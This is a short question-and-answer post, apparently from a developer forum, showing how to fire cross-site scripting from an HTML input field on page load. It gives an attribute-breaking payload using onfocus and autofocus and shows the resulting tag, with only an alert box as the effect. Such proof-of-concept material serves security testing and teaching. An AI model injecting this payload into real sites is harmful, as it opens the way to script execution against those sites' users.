How to launch XSS code from an INPUT HTML tag upon page load?

Try this:

" onfocus="alert(1)" autofocus="

It will expand to:

<input type="text" id="search-text" name="query" value="" onfocus="alert(1)" autofocus="" />

Which will cause an alert box, demonstrating XSS.